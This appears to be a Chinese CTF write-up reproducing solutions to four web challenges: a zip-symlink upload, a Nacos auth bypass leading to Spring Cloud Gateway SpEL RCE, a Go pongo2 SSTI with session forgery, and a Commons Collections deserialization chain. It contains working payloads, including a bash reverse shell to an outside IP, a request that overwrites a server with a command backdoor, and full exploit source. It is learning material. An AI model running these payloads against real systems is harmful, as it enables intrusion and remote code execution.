都是参考别人的wp做的复现
Unzip(软链接)
upload.php
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE); if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); };
|
这里考察的是软链接
软链接连接目录
跟着这里做来上传压缩文件就行了
BackendService
题目给了一个界面,但是如何我们就去网上搜索看是否存在漏洞这个
然后找到了一个漏洞
nacos未授权-CVE-2021-29441复现 就是可以给后台加一个用户(用户名和密码自己可以设置)
然后进行登录
进入后台之后,这里就得用到jar包里的内容了
这些内容就是关键了
然后跟着里面进行操作就行了
Nacos结合Spring Cloud Gateway RCE利用
因为这里给的是yaml,而jar包里要求的是json
所以我们找一个在线网站来进行转化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| { "spring": { "cloud": { "gateway": { "routes": [ { "id": "exam", "order": 0, "uri": "lb://service-provider", "predicates": [ "Path=/echo/**" ], "filters": [ { "name": "AddResponseHeader", "args": { "name": "result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/101.42.39.110/3389 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}" } } ] } ] } } } }
|
这些地方跟着jar里的设置就行
写好,点击发布shell就会自动反弹了
这题当时,没注意到jar包里的内容,老是去搜索这个nacos的版本漏洞,导致最后没成功
gosession(go-ssti-flask)
route.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package route
import ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" )
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { session.Values["name"] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } }
c.String(200, "Hello, guest") }
func Admin(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] != "admin" { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } name := c.DefaultQuery("name", "ssti") xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!") if err != nil { panic(err) } out, err := tpl.Execute(pongo2.Context{"c": c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200, out) }
func Flask(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { if err != nil { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body)
c.String(200, string(body)) }
|
这个一共有三个路由
先看Index路由
Index路由内容很简单,直接赋了个session,session中的name值为guest,这⾥发现 session的key是通过SESSION_KEY环境变量获取的
这里的err
是指,如果有报错的话,会把报错信息赋给这个err
这里的nil
是和null
一个意思
再看Admin路由:
- 这⾥对session做了验证,需要name为admin
- 这⾥⽤pongo2做模板渲染,存在模板渲染漏洞
接着看Flask路由:
Flask路由会请求靶机⾥5000端⼝服务,并把请求⻚⾯回显
这里的入口点就是在这个Flask路由这里
通过使其报错flask/?name=/
得到下面的源码 server.py
5000端⼝为python的flask服务,开启了debug模式,源码不存在ssti漏洞
(赛后复现的发现这里的seesion_key是空的。。。。。。。,当时是一直在找这个key)
接下来我们就去无key伪造session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package main import ( "net/http" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" ) func main() { var store = sessions.NewCookieStore([]byte("")) r := gin.Default() r.GET("/", func(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } session.Values["name"] = "admin" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200, "Hello, guest") }) r.Run() }
|
根据这两个地方自己生成一个
这里的话这个代码可以在那个gin
框架的github网站找到
然后加上那个seesions就行了
然后成功拿到伪造的admin
的cookie
成功登录进admin路由
(这里使用的是go的ssti,使用的是pongo2的模板渲染)
接着构造请求包覆盖/app/server.py:
- 注意name值需要url编码
- c.HandlerName的值为
main/route.Admin
,接着用first过滤器获取到的就是m
字符,用last过滤器获取到的就是n
字符
- 注意GET请求也是可以使用表单上传文件的
/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
(这里听说的网上搜不到的,是靠自己翻pongo2的官方文档自己翻出来的)
这位师傅写了详细的分析流程 找payload过程
这里的话是自己构造一个文件上传包来上传修改后的server.py
来进行覆盖原来的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1 Host: 09b6676f-dac1-439f-be8a-1032efb446cc.challenge.ctf.show Content-Length: 562 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn Cookie: session-name=MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw== Connection: close
------WebKitFormBoundaryqwT9VdDXSgZPm0yn Content-Disposition: form-data; name="file"; filename="server.py" Content-Type: image/jpeg
from flask import Flask, request import os app = Flask(__name__)
@app.route('/') def index(): name = request.args['name'] res = os.popen(name).read() return res + " no ssti"
if __name__ == "__main__": app.run(host="127.0.0.1", port=5000, debug=True)
------WebKitFormBoundaryqwT9VdDXSgZPm0yn Content-Disposition: form-data; name="submit"
提交 ------WebKitFormBoundaryqwT9VdDXSgZPm0yn--
|
这里话为什么要构造这个(是别的师傅去翻pongo2的官方文档得出的)
http://09b6676f-dac1-439f-be8a-1032efb446cc.challenge.ctf.show/flask/?name=?name=cat${IFS}/t*
这里传两个name的原因是 第一个name是flask路由下的不能出错,不然会返回错误页面
必须得让他走到访问5000端口这里,然后5000端口这里又有我们新覆盖的代码,一个name参数
DeserBug
(后半场放出的提示cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
)
这个题目给了jar包
这里的话我们先在本地搭一个环境来进行复现一下
搭建成功,这里的话就开始对jar包里的内容进行分析了
这里给了一个cc3的依赖
Testapp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package com.app;
import cn.hutool.http.ContentType; import cn.hutool.http.HttpUtil; import cn.hutool.http.server.HttpServerRequest; import cn.hutool.http.server.HttpServerResponse; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64;
public class Testapp { public static void main(String[] args) { HttpUtil.createServer(8888) .addAction("/", (request, response) -> { String bugstr = request.getParam("bugstr"); String result = ""; if (bugstr == null) response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString()); try { byte[] decode = Base64.getDecoder().decode(bugstr); ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode)); Object object = inputStream.readObject(); result = object.toString(); } catch (Exception e) { Myexpect myexpect = new Myexpect(); myexpect.setTypeparam(new Class[] { String.class }); myexpect.setTypearg((Object[])new String[] { e.toString() }); myexpect.setTargetclass(e.getClass()); try { result = myexpect.getAnyexcept().toString(); } catch (Exception ex) { result = ex.toString(); } } response.write(result, ContentType.TEXT_PLAIN.toString()); }).start(); } }
|
Myexpect.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.app;
import java.lang.reflect.Constructor;
public class Myexpect extends Exception { private Class[] typeparam; private Object[] typearg; private Class targetclass; public String name; public String anyexcept; public Class getTargetclass() { return this.targetclass; } public void setTargetclass(Class targetclass) { this.targetclass = targetclass; } public Object[] getTypearg() { return this.typearg; } public void setTypearg(Object[] typearg) { this.typearg = typearg; } public Object getAnyexcept() throws Exception { Constructor con = this.targetclass.getConstructor(this.typeparam); return con.newInstance(this.typearg); } public void setAnyexcept(String anyexcept) { this.anyexcept = anyexcept; } public Class[] getTypeparam() { return this.typeparam; } public void setTypeparam(Class[] typeparam) { this.typeparam = typeparam; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } }
|
如何导入到idea中开始分析
这里的话先写一个恶意类
Evil.java
1 2 3 4 5 6
| package com.app; public class Evil { public Evil() throws Exception { Runtime.getRuntime().exec("calc"); } }
|
然后写一个poc进行利用
TmpTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.app; import cn.hutool.json.JSONObject; import com.app.Myexpect;
public class TmpTest { public static void main(String[] args) { Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(Evil.class);
JSONObject jsonObject = new JSONObject(); jsonObject.put("whatever", myexpect); } }
|
上面的内容是跟据题目后半段给出的提示得出的结论
然后跟了一下他的执行流程
最后是在这执行我们的恶意类的,至于怎么执行的我没跟进去,因为尝试了一下,发现太多了,跟不过来
接下来我们就找谁调用了这个jsonObject.put()
方法
这里话是给了一个cc链
的一个jar包 我们可以去考虑一下是否存在利用链可以调用这个put方法
发现这里JSONObjetc.class
这个类里边引用了别的类,这Map
刚好和cc链里边的东西对应上,因为cc链里面也是有很多用到Map
根据这张对cc链总结的图片
我们据此可以联想到一个很特殊的Map
—org.apache.commons.collections.map.LazyMap
。
这里话刚好可以调用到
(这里的map在序列化的时候可控,并且key可控,value也可控)
因为cc链都是和transform
有关,再加上这里存在,所以刚好可以利用这里来控制这个value
factory
也可控
那么根据图上的内容—->cc链
只要我们能调用到LazyMap.get
方法就行,那么就有好几种方法来进行调用了
因为有好几种链的组合
这里的话就先讲一种,就是利用cc6
这条链子来
DeserExp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package org.example;
import cn.hutool.json.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class DeserExp implements Serializable { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\b.class"));
setValue(templatesimpl,"_name","fuck"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); Myexcpt myexcpt = new Myexcpt(); myexcpt.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class); myexcpt.setTypeparam(new Class[]{Templates.class}); myexcpt.setTypearg(new Templates[]{templatesimpl}); JSONObject jsonObject = new JSONObject(); Map<Object,Object> lazymap = LazyMap.decorate(jsonObject,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa"); HashMap<Object, Object> hashMap=new HashMap<>(); hashMap.put(tiedMapEntry,"bbb"); jsonObject.remove("aaa"); Field factory = LazyMap.class.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,new ConstantTransformer(myexcpt)); System.out.println(serial(hashMap));
}
public static String serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void cserialize(Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object cunserialize(String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename)); Object obj=ois.readObject(); return obj; } }
|
这个exp的话是利用cc6
和动态类加载这两个执行方法来进行的(因为题目给的提示)
(这里的不用InvokerTransfomer
的原因是这个版本是3.2.2,搬掉了3.2.1版本的InvokerTransfomer
)
所以就剩最后这里可以进行调用了
所以这里就会用到动态类加载
这个exp好多东西都是固定的,只要修改一下让LazyMap.get()
触发到JSONObject.put()
方法就行了
这里的话就刚好可以执行到这一步,那么就可以成功进行恶意代码的执行了